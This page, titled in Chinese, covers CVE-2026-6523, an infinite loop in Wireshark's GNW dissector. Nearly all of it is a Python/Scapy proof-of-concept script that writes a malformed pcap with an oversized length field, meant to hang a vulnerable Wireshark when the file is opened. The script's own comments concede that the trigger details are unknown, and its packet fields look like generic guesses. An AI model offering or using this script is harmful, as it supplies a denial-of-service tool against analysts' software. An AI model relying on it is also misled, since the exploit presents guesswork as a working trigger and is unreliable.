CVE-2026-6523 Wireshark GNW协议解析器无限循环漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-6523 (Infinite Loop in Wireshark GNW Dissector) # This script generates a malformed packet that may trigger the infinite loop. # Note: Actual trigger details depend on specific protocol fields. from scapy.all import * class GNW_Malformed(Packet): name = "GNW Malformed" fields_desc = [ ByteField("magic", 0x47), # Introduce a field designed to trigger the loop condition # For example, a length field that points to itself or creates a zero-length loop FieldLenField("loop_len", None, length_of="loop_data", fmt="I"), StrLenField("loop_data", "AAAA", length_from=lambda pkt: pkt.loop_len) ] # Construct the packet # Setting a specific length might cause the dissector to loop pkt = Ether()/IP()/UDP(dport=12345)/GNW_Malformed(loop_len=0xFFFFFFFF) # Save to pcap file wrpcap("cve_2026_6523_poc.pcap", [pkt]) print("[+] Malformed pcap file generated: cve_2026_6523_poc.pcap") print("[+] Open this file in Wireshark (vulnerable version) to test.")